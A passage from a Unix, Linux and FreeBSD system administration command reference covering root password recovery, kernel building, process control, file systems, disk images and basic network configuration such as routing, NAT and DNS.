  * q Rescan the ttys\(5\) file \(signal `HUP`\)

## Reset root password

### Linux method 1

At the boot loader \(lilo or grub\), enter the following boot option:

[code]

    init=/bin/sh
    
[/code]

The kernel will mount the root partition and `init` will start the bourne
shell instead of `rc` and then a runlevel. Use the command `passwd` at the
prompt to change the password and then reboot. Forget the single user mode as
you need the password for that.  
If, after booting, the root partition is mounted read only, remount it rw:

[code]

    # mount -o remount,rw /
    # passwd                             # or delete the root password (/etc/shadow)
    # sync; mount -o remount,ro /        # sync before to remount read only
    # reboot
    
    
[/code]

### FreeBSD method 1

On FreeBSD, boot in single user mode, remount / rw and use passwd. You can
select the single user mode on the boot menu \(option 4\) which is displayed
for 10 seconds at startup. The single user mode will give you a root shell on
the / partition.

[code]

    # mount -u /; mount -a               # will mount / rw
    # passwd
    # reboot
    
    
[/code]

### Unixes and FreeBSD and Linux method 2

Other Unixes might not let you go away with the simple init trick. The
solution is to mount the root partition from an other OS \(like a rescue CD\)
and change the password on the disk.

  * Boot a live CD or installation CD into a rescue mode which will give you a shell.
  * Find the root partition with fdisk e.g. fdisk /dev/sda
  * Mount it and use chroot:

[code]

    # mount -o rw /dev/ad4s3a /mnt
    # chroot /mnt                        # chroot into /mnt
    # passwd
    # reboot
    
    
[/code]

## Kernel modules

### Linux

[code]

    # lsmod                              # List all modules loaded in the kernel
    # modprobe isdn                      # To load a module (here isdn)
    
    
[/code]

### FreeBSD

[code]

    # kldstat                            # List all modules loaded in the kernel
    # kldload crypto                     # To load a module (here crypto)
    
    
[/code]

## Compile Kernel

### Linux

[code]

    # cd /usr/src/linux
    # make mrproper                      # Clean everything, including config files
    # make oldconfig                     # Reuse the old .config if existent
    # make menuconfig                    # or xconfig (Qt) or gconfig (GTK)
    # make                               # Create a compressed kernel image
    # make modules                       # Compile the modules
    # make modules_install               # Install the modules
    # make install                       # Install the kernel
    # reboot
    
    
[/code]

### FreeBSD

Optionally update the source tree \(in `/usr/src`\) with csup \(as of FreeBSD
6.2 or later\):

[code]

    # csup <supfile>
    
[/code]

I use the following supfile:

[code]

    *default host=cvsup5.FreeBSD.org  # www.freebsd.org/handbook/cvsup.html#CVSUP-MIRRORS
    *default prefix=/usr 
    *default base=/var/db
    *default release=cvs delete tag=RELENG_7
    src-all
    
    
[/code]

To modify and rebuild the kernel, copy the generic configuration file to a new
name and edit it as needed \(you can also edit the file `GENERIC` directly\).
To restart the build after an interruption, add the option `NO_CLEAN=YES` to
the make command to avoid cleaning the objects already build.

[code]

    # cd /usr/src/sys/i386/conf/
    # cp GENERIC MYKERNEL
    # cd /usr/src
    # make buildkernel KERNCONF=MYKERNEL
    # make installkernel KERNCONF=MYKERNEL
    
    
[/code]

To rebuild the full OS:

[code]

    # make buildworld                    # Build the full OS but not the kernel
    # make buildkernel                   # Use KERNCONF as above if appropriate
    # make installkernel
    # reboot
    # mergemaster -p                     # Compares only files known to be essential
    # make installworld
    # mergemaster -i -U                  # Update all configurations and other files
    # reboot
    
    
[/code]

For small changes in the source you can use NO\_CLEAN=yes to avoid rebuilding
the whole tree.

[code]

    # make buildworld NO_CLEAN=yes       # Don't delete the old objects
    # make buildkernel KERNCONF=MYKERNEL NO_CLEAN=yes
    
    
[/code]

## Repair grub

So you broke grub? Boot from a live cd, \[find your linux partition under
`/dev` and use `fdisk` to find the linux partion\] mount the linux partition,
add /proc and /dev and use `grub-install /dev/xyz`. Suppose linux lies on
`/dev/sda6`:

[code]

    # mount /dev/sda6 /mnt               # mount the linux partition on /mnt
    # mount --bind /proc /mnt/proc       # mount the proc subsystem into /mnt
    # mount --bind /dev /mnt/dev         # mount the devices into /mnt
    # chroot /mnt                        # change root to the linux partition
    # grub-install /dev/sda              # reinstall grub with your old settings
    
    
[/code]

# PROCESSES

Listing | Priority | Background/Foreground | Top | Kill
## Listing and PIDs

Each process has a unique number, the PID. A list of all running process is
retrieved with `ps`.

[code]

    # ps -auxefw                         # Extensive list of all running process
    
[/code]

However more typical usage is with a pipe or with `pgrep`:

[code]

    # ps axww | grep cron
      586  ??  Is     0:01.48 /usr/sbin/cron -s
    # ps axjf                            # All processes in a tree format (Linux)
    # ps aux | grep 'ss[h]'              # Find all ssh pids without the grep pid
    # pgrep -l sshd                      # Find the PIDs of processes by (part of) name
    # echo $$                            # The PID of your shell
    # fuser -va 22/tcp                   # List processes using port 22 (Linux)
    # pmap PID                           # Memory map of process (hunt memory leaks) (Linux)
    # fuser -va /home                    # List processes accessing the /home partition
    # strace df                          # Trace system calls and signals
    # truss df                           # same as above on FreeBSD/Solaris/Unixware
    
    
[/code]

## Priority

Change the priority of a running process with `renice`. **Negative numbers
have a higher priority** , the lowest is -20 and "nice" have a positive value.

[code]

    # renice -5 586                      # Stronger priority
    586: old priority 0, new priority -5
    
    
[/code]

Start the process with a defined priority with `nice`. Positive is "nice" or
weak, negative is strong scheduling priority. Make sure you know if
`/usr/bin/nice` or the shell built-in is used \(check with `# which nice`\).

[code]

    # nice -n -5 top                     # Stronger priority (/usr/bin/nice)
    # nice -n 5 top                      # Weaker priority (/usr/bin/nice)
    # nice +5 top                        # tcsh builtin nice (same as above!)
    
    
[/code]

While nice changes the CPU scheduler, an other useful command `ionice` will
schedule the disk IO. This is very useful for intensive IO application \(e.g.
compiling\). You can select a class \(idle - best effort - real time\), the
man page is short and well explained.

[code]

    # ionice c3 -p123                    # set idle class for pid 123 (Linux only)
    # ionice -c2 -n0 firefox             # Run firefox with best effort and high priority
    # ionice -c3 -p$$                    # Set the actual shell to idle priority
    
    
[/code]

The last command is very useful to compile \(or debug\) a large project. Every
command launched from this shell will have a lover priority. `$$` is your
shell pid \(try echo $$\).  
FreeBSD uses `idprio/rtprio` \(0 = max priority, 31 = most idle\):

[code]

    # idprio 31 make                     # compile in the lowest priority
    # idprio 31 -1234                    # set PID 1234 with lowest priority
    # idprio -t -1234                    # -t removes any real time/idle priority
    
    
[/code]

## Background/Foreground

When started from a shell, processes can be brought in the background and back
to the foreground with \[Ctrl\]-\[Z\] \(^Z\), `bg` and `fg`. List the
processes with`jobs`.

[code]

    # ping cb.vu > ping.log
    ^Z                                   # ping is suspended (stopped) with [Ctrl]-[Z] 
    # bg                                 # put in background and continues running
    # jobs -l                            # List processes in background
    [1]  - 36232 Running                       ping cb.vu > ping.log
    [2]  + 36233 Suspended (tty output)        top
    # fg %2                              # Bring process 2 back in foreground
    
    
[/code]

Use `nohup` to start a process which has to keep running when the shell is
closed \(immune to hangups\).

[code]

    # nohup ping -i 60 > ping.log &
    
    
[/code]

## Top

The program `top` displays running information of processes. See also the
program `htop` from htop.sourceforge.net \(a more powerful version of top\)
which runs on Linux and FreeBSD \(`ports/sysutils/htop/`\). While top is
running press the key h for a help overview. Useful keys are:

  * **u \[user name\]** To display only the processes belonging to the user. Use + or blank to see all users
  * **k \[pid\]** Kill the process with pid.
  * **1** To display all processors statistics \(Linux only\)
  * **R** Toggle normal/reverse sort.

## Signals/Kill

Terminate or send a signal with `kill` or `killall`.

[code]

    # ping -i 60 cb.vu > ping.log &
    [1] 4712
    # kill -s TERM 4712                  # same as kill -15 4712
    # killall -1 httpd                   # Kill HUP processes by exact name
    # pkill -9 http                      # Kill TERM processes by (part of) name
    # pkill -TERM -u www                 # Kill TERM processes owned by www
    # fuser -k -TERM -m /home            # Kill every process accessing /home (to umount)
    
    
[/code]

Important signals are:

  * 1  `HUP` \(hang up\)
  * 2  `INT` \(interrupt\)
  * 3  `QUIT` \(quit\)
  * 9  `KILL` \(non-catchable, non-ignorable kill\)
  * 15  `TERM` \(software termination signal\)

# FILE SYSTEM

Disk info | Boot | Disk usage | Opened files | Mount/remount | Mount SMB | Mount image | Burn ISO | Create image | Memory disk | Disk performance
## Permissions

Change permission and ownership with `chmod` and `chown`. The default umask
can be changed for all users in /etc/profile for Linux or /etc/login.conf for
FreeBSD. The default umask is usually 022. The umask is subtracted from 777,
thus umask 022 results in a permission 0f 755.

[code]

    1 --x execute                        # Mode 764 = exec/read/write | read/write | read
    2 -w- write                          # For:       |--  Owner  --|   |- Group-|   |Oth|
    4 r-- read
      ugo=a                              u=user, g=group, o=others, a=everyone
    
    
[/code]

[code]

    # chmod [OPTION] MODE[,MODE] FILE    # MODE is of the form [ugoa]*([-+=]([rwxXst]))
    # chmod 640 /var/log/maillog         # Restrict the log -rw-r-----
    # chmod u=rw,g=r,o= /var/log/maillog # Same as above
    # chmod -R o-r /home/*               # Recursive remove other readable for all users
    # chmod u+s /path/to/prog            # Set SUID bit on executable (know what you do!)
    # find / -perm -u+s -print           # Find all programs with the SUID bit
    # chown user:group /path/to/file     # Change the user and group ownership of a file
    # chgrp group /path/to/file          # Change the group ownership of a file
    # chmod 640 `find ./ -type f -print` # Change permissions to 640 for all files
    # chmod 751 `find ./ -type d -print` # Change permissions to 751 for all directories
    
    
[/code]

## Disk information

[code]

    # diskinfo -v /dev/ad2               # information about disk (sector/size) FreeBSD
    # hdparm -I /dev/sda                 # information about the IDE/ATA disk (Linux)
    # fdisk /dev/ad2                     # Display and manipulate the partition table
    # smartctl -a /dev/ad2               # Display the disk SMART info
    
    
[/code]

## Boot

### FreeBSD

To boot an old kernel if the new kernel doesn't boot, stop the boot at during
the count down.

[code]

    # unload
    # load kernel.old
    # boot
    
    
[/code]

## System mount points/Disk usage

[code]

    # mount | column -t                  # Show mounted file-systems on the system
    # df                                 # display free disk space and mounted devices
    # cat /proc/partitions               # Show all registered partitions (Linux)
    
    
[/code]

### Disk usage

[code]

    # du -sh *                           # Directory sizes as listing
    # du -csh                            # Total directory size of the current directory
    # du -ks * | sort -n -r              # Sort everything by size in kilobytes
    # ls -lSr                            # Show files, biggest last
    
    
[/code]

## Who has which files opened

This is useful to find out which file is blocking a partition which has to be
unmounted and gives a typical error of:

[code]

    # umount /home/
    umount: unmount of /home             # umount impossible because a file is locking home
       failed: Device busy
    
    
[/code]

### FreeBSD and most Unixes

[code]

    # fstat -f /home                     # for a mount point
    # fstat -p PID                       # for an application with PID
    # fstat -u user                      # for a user name
    
    
[/code]

Find opened log file \(or other opened files\), say for Xorg:

[code]

    # ps ax | grep Xorg | awk '{print $1}'
    1252
    # fstat -p 1252
    USER     CMD          PID   FD MOUNT      INUM MODE         SZ|DV R/W
    root     Xorg        1252 root /             2 drwxr-xr-x     512  r
    root     Xorg        1252 text /usr     216016 -rws--x--x  1679848 r
    root     Xorg        1252    0 /var     212042 -rw-r--r--   56987  w
    
    
[/code]

The file with inum 212042 is the only file in /var:

[code]

    # find -x /var -inum 212042
    /var/log/Xorg.0.log
    
    
[/code]

### Linux

Find opened files on a mount point with `fuser` or `lsof`:

[code]

    # fuser -m /home                     # List processes accessing /home
    # lsof /home
    COMMAND   PID    USER   FD   TYPE DEVICE    SIZE     NODE NAME
    tcsh    29029 eedcoba  cwd    DIR   0,18   12288  1048587 /home/eedcoba (guam:/home)
    lsof    29140 eedcoba  cwd    DIR   0,18   12288  1048587 /home/eedcoba (guam:/home)
    
    
[/code]

About an application:

[code]

    ps ax | grep Xorg | awk '{print $1}'
    3324
    # lsof -p 3324
    COMMAND   PID    USER   FD   TYPE DEVICE    SIZE    NODE NAME
    Xorg    3324 root    0w   REG        8,6   56296      12492 /var/log/Xorg.0.log
    
    
[/code]

About a single file:

[code]

    # lsof /var/log/Xorg.0.log
    COMMAND  PID USER   FD   TYPE DEVICE  SIZE  NODE NAME
    Xorg    3324 root    0w   REG    8,6 56296 12492 /var/log/Xorg.0.log
    
    
[/code]

## Mount/remount a file system

For example the cdrom. If listed in /etc/fstab:

[code]

    # mount /cdrom
    
[/code]

Or find the device in /dev/ or with dmesg

### FreeBSD

[code]

    # mount -v -t cd9660 /dev/cd0c /mnt  # cdrom
    # mount_cd9660 /dev/wcd0c /cdrom     # other method
    # mount -v -t msdos /dev/fd0c /mnt   # floppy
    
    
[/code]

Entry in /etc/fstab:

[code]

    # Device                Mountpoint      FStype  Options         Dump    Pass#
    /dev/acd0               /cdrom          cd9660  ro,noauto       0       0
    
    
[/code]

To let users do it:

[code]

    # sysctl vfs.usermount=1  # Or insert the line "vfs.usermount=1" in /etc/sysctl.conf
    
    
[/code]

### Linux

[code]

    # mount -t auto /dev/cdrom /mnt/cdrom   # typical cdrom mount command
    # mount /dev/hdc -t iso9660 -r /cdrom   # typical IDE
    # mount /dev/scd0 -t iso9660 -r /cdrom  # typical SCSI cdrom
    # mount /dev/sdc0 -t ntfs-3g /windows   # typical SCSI
    
    
[/code]

Entry in /etc/fstab:

[code]

    /dev/cdrom   /media/cdrom  subfs noauto,fs=cdfss,ro,procuid,nosuid,nodev,exec 0 0
    
[/code]

#### Mount a FreeBSD partition with Linux

Find the partition number containing with fdisk, this is usually the root
partition, but it could be an other BSD slice too. If the FreeBSD has many
slices, they are the one not listed in the fdisk table, but visible in
/dev/sda\* or /dev/hda\*.

[code]

    # fdisk /dev/sda                     # Find the FreeBSD partition
    /dev/sda3   *        5357        7905    20474842+  a5  FreeBSD
    # mount -t ufs -o ufstype=ufs2,ro /dev/sda3 /mnt
    /dev/sda10 = /tmp; /dev/sda11 /usr   # The other slices
    
    
[/code]

### Remount

Remount a device without unmounting it. Necessary for fsck for example

[code]

    # mount -o remount,ro /              # Linux
    # mount -o ro /                      # FreeBSD
    
    
[/code]

Copy the raw data from a cdrom into an iso image:

[code]

    # dd if=/dev/cd0c of=file.iso
    
[/code]

## Add swap on-the-fly

Suppose you need more swap \(right now\), say a 2GB file /swap2gb \(Linux
only\).

[code]

    # dd if=/dev/zero of=/swap2gb bs=1024k count=2000
    # mkswap /swap2gb                    # create the swap area
    # swapon /swap2gb                    # activate the swap. It now in use
    # swapoff /swap2gb                   # when done deactivate the swap
    # rm /swap2gb
    
    
[/code]

## Mount an SMB share

Suppose we want to access the SMB share myshare on the computer smbserver, the
address as typed on a Windows PC is \\\smbserver\myshare\\. We mount on
/mnt/smbshare. Warning> cifs wants an IP or DNS name, not a Windows name.

### Linux

[code]

    # smbclient -U user -I 192.168.16.229 -L //smbshare/    # List the shares
    # mount -t smbfs -o username=winuser //smbserver/myshare /mnt/smbshare
    # mount -t cifs -o username=winuser,password=winpwd //192.168.16.229/myshare /mnt/share
    
    
[/code]

Additionally with the package mount.cifs it is possible to store the
credentials in a file, for example `/home/user/.smb`:

[code]

    username=winuser
    password=winpwd
    
    
[/code]

And mount as follow:

[code]

    # mount -t cifs -o credentials=/home/user/.smb //192.168.16.229/myshare /mnt/smbshare
    
[/code]

### FreeBSD

Use -I to give the IP \(or DNS name\); smbserver is the Windows name.

[code]

    # smbutil view -I 192.168.16.229 //winuser@smbserver    # List the shares
    # mount_smbfs -I 192.168.16.229 //winuser@smbserver/myshare /mnt/smbshare
    
    
[/code]

## Mount an image

### Linux loop-back

[code]

    # mount -t iso9660 -o loop file.iso /mnt                # Mount a CD image
    # mount -t ext3 -o loop file.img /mnt                   # Mount an image with ext3 fs
    
    
[/code]

### FreeBSD

With memory device \(do \# kldload md.ko if necessary\):

[code]

    # mdconfig -a -t vnode -f file.iso -u 0
    # mount -t cd9660 /dev/md0 /mnt
    # umount /mnt; mdconfig -d -u 0                         # Cleanup the md device
    
    
[/code]

Or with virtual node:

[code]

    # vnconfig /dev/vn0c file.iso; mount -t cd9660 /dev/vn0c /mnt
    # umount /mnt; vnconfig -u /dev/vn0c                    # Cleanup the vn device
    
    
[/code]

### Solaris and FreeBSD

with loop-back file interface or lofi:

[code]

    # lofiadm -a file.iso
    # mount -F hsfs -o ro /dev/lofi/1 /mnt
    # umount /mnt; lofiadm -d /dev/lofi/1                   # Cleanup the lofi device
    
    
[/code]

## Create and burn an ISO image

This will copy the cd or DVD sector for sector. Without `conv=notrunc`, the
image will be smaller if there is less content on the cd. See below and the dd
examples.

[code]

    # dd if=/dev/hdc of=/tmp/mycd.iso bs=2048 conv=notrunc
    
[/code]

Use mkisofs to create a CD/DVD image from files in a directory. To overcome
the file names restrictions: -r enables the Rock Ridge extensions common to
UNIX systems, -J enables Joliet extensions used by Microsoft systems. -L
allows ISO9660 filenames to begin with a period.

[code]

    # mkisofs -J -L -r -V TITLE -o imagefile.iso /path/to/dir
    
[/code]

On FreeBSD, mkisofs is found in the ports in sysutils/cdrtools.

### Burn a CD/DVD ISO image

#### FreeBSD

FreeBSD does not enable DMA on ATAPI drives by default. DMA is enabled with
the sysctl command and the arguments below, or with /boot/loader.conf with the
following entries:

[code]

    hw.ata.ata_dma="1"
    hw.ata.atapi_dma="1"
    
    
[/code]

Use `burncd` with an ATAPI device \(`burncd` is part of the base system\) and
`cdrecord` \(in sysutils/cdrtools\) with a SCSI drive.

[code]

    # burncd -f /dev/acd0 data imagefile.iso fixate      # For ATAPI drive
    # cdrecord -scanbus                  # To find the burner device (like 1,0,0)
    # cdrecord dev=1,0,0 imagefile.iso
    
    
[/code]

#### Linux

Also use `cdrecord` with Linux as described above. Additionally it is possible
to use the native ATAPI interface which is found with:

[code]

    # cdrecord dev=ATAPI -scanbus
    
[/code]

And burn the CD/DVD as above.

#### dvd+rw-tools

The dvd+rw-tools package \(FreeBSD: ports/sysutils/dvd+rw-tools\) can do it
all and includes `growisofs` to burn CDs or DVDs. The examples refer to the
dvd device as `/dev/dvd` which could be a symlink to `/dev/scd0` \(typical
scsi on Linux\) or `/dev/cd0` \(typical FreeBSD\) or `/dev/rcd0c` \(typical
NetBSD/OpenBSD character SCSI\) or `/dev/rdsk/c0t1d0s2` \(Solaris example of a
character SCSI/ATAPI CD-ROM device\). There is a nice documentation with
examples on theFreeBSD handbook chapter 18.7.

[code]

                           # -dvd-compat closes the disk
    # growisofs -dvd-compat -Z /dev/dvd=imagefile.iso     # Burn existing iso image
    # growisofs -dvd-compat -Z /dev/dvd -J -R /p/to/data  # Burn directly
    
    
[/code]

### Convert a Nero .nrg file to .iso

Nero simply adds a 300Kb header to a normal iso image. This can be trimmed
with dd.

[code]

    # dd bs=1k if=imagefile.nrg of=imagefile.iso skip=300
    
[/code]

### Convert a bin/cue image to .iso

The little `bchunk` program can do this. It is in the FreeBSD ports in
sysutils/bchunk.

[code]

    # bchunk imagefile.bin imagefile.cue imagefile.iso
    
    
[/code]

## Create a file based image

For example a partition of 1GB using the file /usr/vdisk.img. Here we use the
vnode 0, but it could also be 1.

### FreeBSD

[code]

    # dd if=/dev/random of=/usr/vdisk.img bs=1K count=1M
    # mdconfig -a -t vnode -f /usr/vdisk.img -u 0         # Creates device /dev/md1
    # bsdlabel -w /dev/md0
    # newfs /dev/md0c
    # mount /dev/md0c /mnt
    # umount /mnt; mdconfig -d -u 0; rm /usr/vdisk.img    # Cleanup the md device
    
    
[/code]

The file based image can be automatically mounted during boot with an entry in
/etc/rc.conf and /etc/fstab. Test your setup with `# /etc/rc.d/mdconfig start`
\(first delete the md0 device with `# mdconfig -d -u 0`\).  
Note however that this automatic setup will only work if the file image is NOT
on the root partition. The reason is that the /etc/rc.d/mdconfig script is
executed very early during boot and the root partition is still read-only.
Images located outside the root partition will be mounted later with the
script /etc/rc.d/mdconfig2.  
/boot/loader.conf:

[code]

    md_load="YES"
    
[/code]

/etc/rc.conf:

[code]

    # mdconfig_md0="-t vnode -f /usr/vdisk.img"          # /usr is not on the root partition
    
[/code]

/etc/fstab: \(The 0 0 at the end is important, it tell fsck to ignore this
device, as is does not exist yet\)

[code]

    /dev/md0                /usr/vdisk      ufs     rw              0       0
    
[/code]

It is also possible to increase the size of the image afterward, say for
example 300 MB larger.

[code]

    # umount /mnt; mdconfig -d -u 0
    # dd if=/dev/zero bs=1m count=300 >> /usr/vdisk.img
    # mdconfig -a -t vnode -f /usr/vdisk.img -u 0
    # growfs /dev/md0
    # mount /dev/md0c /mnt                                # File partition is now 300 MB larger
    
    
[/code]

### Linux

[code]

    # dd if=/dev/zero of=/usr/vdisk.img bs=1024k count=1024
    # mkfs.ext3 /usr/vdisk.img
    # mount -o loop /usr/vdisk.img /mnt
    # umount /mnt; rm /usr/vdisk.img                      # Cleanup
    
    
[/code]

### Linux with losetup

`/dev/zero` is much faster than `urandom`, but less secure for encryption.

[code]

    # dd if=/dev/urandom of=/usr/vdisk.img bs=1024k count=1024
    # losetup /dev/loop0 /usr/vdisk.img                   # Creates and associates /dev/loop0
    # mkfs.ext3 /dev/loop0
    # mount /dev/loop0 /mnt
    # losetup -a                                          # Check used loops
    # umount /mnt
    # losetup -d /dev/loop0                               # Detach
    # rm /usr/vdisk.img
    
    
[/code]

## Create a memory file system

A memory based file system is very fast for heavy IO application. How to
create a 64 MB partition mounted on /memdisk:

### FreeBSD

[code]

    # mount_mfs -o rw -s 64M md /memdisk
    # umount /memdisk; mdconfig -d -u 0                   # Cleanup the md device
    md     /memdisk     mfs     rw,-s64M    0   0         # /etc/fstab entry
    
    
[/code]

### Linux

[code]

    # mount -t tmpfs -osize=64m tmpfs /memdisk
    
    
[/code]

## Disk performance

Read and write a 1 GB file on partition ad4s3c \(/home\)

[code]

    # time dd if=/dev/ad4s3c of=/dev/null bs=1024k count=1000
    # time dd if=/dev/zero bs=1024k count=1000 of=/home/1Gb.file
    # hdparm -tT /dev/hda      # Linux only
    
    
[/code]

# NETWORK

Routing | Additional IP | Change MAC | Ports | Firewall | IP Forward | NAT | DNS | DHCP | Traffic | QoS | NIS | Netcat
## Debugging \(See also Traffic analysis\)

### Linux

[code]

    # ethtool eth0              # Show the ethernet status (replaces mii-diag)
    # ethtool -s eth0 speed 100 duplex full # Force 100Mbit Full duplex
    # ethtool -s eth0 autoneg off # Disable auto negotiation
    # ethtool -p eth1           # Blink the ethernet led - very useful when supported
    # ip link show              # Display all interfaces on Linux (similar to ifconfig)
    # ip link set eth0 up       # Bring device up (or down). Same as "ifconfig eth0 up"
    # ip addr show              # Display all IP addresses on Linux (similar to ifconfig)
    # ip neigh show             # Similar to arp -a
    
    
[/code]

### Other OSes

[code]

    # ifconfig fxp0             # Check the "media" field on FreeBSD
    # arp -a                    # Check the router (or host) ARP entry (all OS)
    # ping cb.vu                # The first thing to try...
    # traceroute cb.vu          # Print the route path to destination
    # ifconfig fxp0 media 100baseTX mediaopt full-duplex # 100Mbit full duplex (FreeBSD)
    # netstat -s                # System-wide statistics for each network protocol
    
    
[/code]

Additional commands which are not always installed per default but easy to
find:

[code]

    # arping 192.168.16.254     # Ping on ethernet layer
    # tcptraceroute -f 5 cb.vu  # uses tcp instead of icmp to trace through firewalls
    
    
[/code]

## Routing

### Print routing table

[code]

    # route -n                  # Linux or use "ip route"
    # netstat -rn               # Linux, BSD and UNIX
    # route print               # Windows
    
    
[/code]

### Add and delete a route

#### FreeBSD

[code]

    # route add 212.117.0.0/16 192.168.1.1
    # route delete 212.117.0.0/16
    # route add default 192.168.1.1
    
    
[/code]

Add the route permanently in /etc/rc.conf

[code]

    static_routes="myroute"
    route_myroute="-net 212.117.0.0/16 192.168.1.1"
    
    
[/code]

#### Linux

[code]

    # route add -net 192.168.20.0 netmask 255.255.255.0 gw 192.168.16.254
    # ip route add 192.168.20.0/24 via 192.168.16.254       # same as above with ip route
    # route add -net 192.168.20.0 netmask 255.255.255.0 dev eth0
    # route add default gw 192.168.51.254
    # ip route add default via 192.168.51.254 dev eth0      # same as above with ip route
    # route delete -net 192.168.20.0 netmask 255.255.255.0
    
    
[/code]

#### Solaris

[code]

    # route add -net 192.168.20.0 -netmask 255.255.255.0 192.168.16.254
    # route add default 192.168.51.254 1                    # 1 = hops to the next gateway
    # route change default 192.168.50.254 1
    
    
[/code]

Permanent entries are set in entry in `/etc/defaultrouter`.

#### Windows

[code]

    # Route add 192.168.50.0 mask 255.255.255.0 192.168.51.253
    # Route add 0.0.0.0 mask 0.0.0.0 192.168.51.254
    
[/code]

Use add -p to make the route persistent.

## Configure additional IP addresses

### Linux

[code]

    # ifconfig eth0 192.168.50.254 netmask 255.255.255.0       # First IP
    # ifconfig eth0:0 192.168.51.254 netmask 255.255.255.0     # Second IP
    # ip addr add 192.168.50.254/24 dev eth0                   # Equivalent ip commands
    # ip addr add 192.168.51.254/24 dev eth0 label eth0:1
    
    
[/code]

### FreeBSD

[code]

    # ifconfig fxp0 inet 192.168.50.254/24                     # First IP
    # ifconfig fxp0 alias 192.168.51.254 netmask 255.255.255.0 # Second IP
    # ifconfig fxp0 -alias 192.168.51.254                      # Remove second IP alias
    
    
[/code]

Permanent entries in /etc/rc.conf

[code]

    ifconfig_fxp0="inet 192.168.50.254  netmask 255.255.255.0"
    ifconfig_fxp0_alias0="192.168.51.254 netmask 255.255.255.0"
    
    
[/code]

### Solaris

Check the settings with `ifconfig -a`

[code]

    # ifconfig hme0 plumb                                      # Enable the network card
    # ifconfig hme0 192.168.50.254 netmask 255.255.255.0 up    # First IP
    # ifconfig hme0:1 192.168.51.254 netmask 255.255.255.0 up  # Second IP
    
    
[/code]

## Change MAC address

Normally you have to bring the interface down before the change. Don't tell me
why you want to change the MAC address...

[code]

    # ifconfig eth0 down
    # ifconfig eth0 hw ether 00:01:02:03:04:05      # Linux
    # ifconfig fxp0 link 00:01:02:03:04:05          # FreeBSD
    # ifconfig hme0 ether 00:01:02:03:04:05         # Solaris
    # sudo ifconfig en0 ether 00:01:02:03:04:05     # Mac OS X Tiger
    # sudo ifconfig en0 lladdr 00:01:02:03:04:05    # Mac OS X Leopard
    
    
[/code]

Many tools exist for Windows. For example etherchange. Or look for "Mac
Makeup", "smac".

## Ports in use

Listening open ports:

[code]

    # netstat -an | grep LISTEN
    # lsof -i                  # Linux list all Internet connections
    # socklist                 # Linux display list of open sockets
    # sockstat -4              # FreeBSD application listing
    # netstat -anp --udp --tcp | grep LISTEN        # Linux
    # netstat -tup             # List active connections to/from system (Linux)
    # netstat -tupl            # List listening ports from system (Linux)
    # netstat -ano             # Windows
    
    
[/code]

## Firewall

Check if a firewall is running \(typical configuration only\):

### Linux

[code]

    # iptables -L -n -v                  # For status
    Open the iptables firewall
    # iptables -P INPUT       ACCEPT     # Open everything
    # iptables -P FORWARD     ACCEPT
    # iptables -P OUTPUT      ACCEPT
    # iptables -Z                        # Zero the packet and byte counters in all chains
    # iptables -F                        # Flush all chains
    # iptables -X                        # Delete all chains
    
    
[/code]

### FreeBSD

[code]

    # ipfw show                          # For status
    # ipfw list 65535 # if answer is "65535 deny ip from any to any" the fw is disabled
    # sysctl net.inet.ip.fw.enable=0     # Disable
    # sysctl net.inet.ip.fw.enable=1     # Enable
    
    
[/code]

## IP Forward for routing

### Linux

Check and then enable IP forward with:

[code]

    # cat /proc/sys/net/ipv4/ip_forward  # Check IP forward 0=off, 1=on
    # echo 1 > /proc/sys/net/ipv4/ip_forward
    
    
[/code]

or edit /etc/sysctl.conf with:

[code]

    net.ipv4.ip_forward = 1
    
[/code]

### FreeBSD

Check and enable with:

[code]

    # sysctl net.inet.ip.forwarding      # Check IP forward 0=off, 1=on
    # sysctl net.inet.ip.forwarding=1
    # sysctl net.inet.ip.fastforwarding=1   # For dedicated router or firewall
    Permanent with entry in /etc/rc.conf:
    gateway_enable="YES"                 # Set to YES if this host will be a gateway.
    
    
[/code]

### Solaris

[code]

    # ndd -set /dev/ip ip_forwarding 1   # Set IP forward 0=off, 1=on
    
    
[/code]

## NAT Network Address Translation

### Linux

[code]

    # iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE     # to activate NAT
    # iptables -t nat -A PREROUTING -p tcp -d 78.31.70.238 --dport 20022 -j DNAT \
    --to 192.168.16.44:22           # Port forward 20022 to internal IP port ssh
    # iptables -t nat -A PREROUTING -p tcp -d 78.31.70.238 --dport 993:995 -j DNAT \
    --to 192.168.16.254:993-995     # Port forward of range 993-995
    # ip route flush cache
    # iptables -L -t nat            # Check NAT status
    
    
[/code]

Delete the port forward with -D instead of -A.

### FreeBSD

[code]

    # natd -s -m -u -dynamic -f /etc/natd.conf -n fxp0
    Or edit /etc/rc.conf with:
    firewall_enable="YES"           # Set to YES to enable firewall functionality
    firewall_type="open"            # Firewall type (see /etc/rc.firewall)
    natd_enable="YES"               # Enable natd (if firewall_enable == YES).
    natd_interface="tun0"           # Public interface or IP address to use.
    natd_flags="-s -m -u -dynamic -f /etc/natd.conf"
    
    
[/code]

Port forward with:

[code]

    # cat /etc/natd.conf 
    same_ports yes
    use_sockets yes
    unregistered_only
    # redirect_port tcp insideIP:2300-2399 3300-3399  # port range
    redirect_port udp 192.168.51.103:7777 7777
    
    
[/code]

## DNS

On Unix the DNS entries are valid for all interfaces and are stored in
/etc/resolv.conf. The domain to which the host belongs is also stored in this
file. A minimal configuration is:

[code]

    nameserver 78.31.70.238
    search sleepyowl.net intern.lab
    domain sleepyowl.net
    
    
[/code]

Check the system domain name with:

[code]

    # hostname -d                        # Same as dnsdomainname
    
[/code]

### Windows

On Windows the DNS are configured per interface. To display the configured DNS
and to flush the DNS cache use:

[code]

    # ipconfig /?                        # Display help
    # ipconfig /all                      # See all information including DNS
    
    
[/code]

### Flush DNS

Flush the OS DNS cache, some application using their own cache \(e.g.
Firefox\) and will be unaffected.

[code]

    # /etc/init.d/nscd restart           # Restart nscd if used - Linux/BSD/Solaris
    # lookupd -flushcache                # OS X Tiger
    # dscacheutil -flushcache            # OS X Leopard and newer
    # ipconfig /flushdns                 # Windows
    
    
[/code]

### Forward queries

Dig is you friend to test the DNS settings. For example the public DNS server
`213.133.105.2 ns.second-ns.de` can be used for testing. See from which server
the client receives the answer \(simplified answer\).

[code]

    # dig sleepyowl.net
    sleepyowl.net.          600     IN      A       78.31.70.238
    ;; SERVER: 192.168.51.254#53(192.168.51.254)
    
    
[/code]

The router 192.168.51.254 answered and the response is the A entry. Any entry
can be queried and the DNS server can be selected with @:

[code]

    # dig MX google.com
    # dig @127.0.0.1 NS sun.com          # To test the local server
    # dig @204.97.212.10 NS MX heise.de  # Query an external server
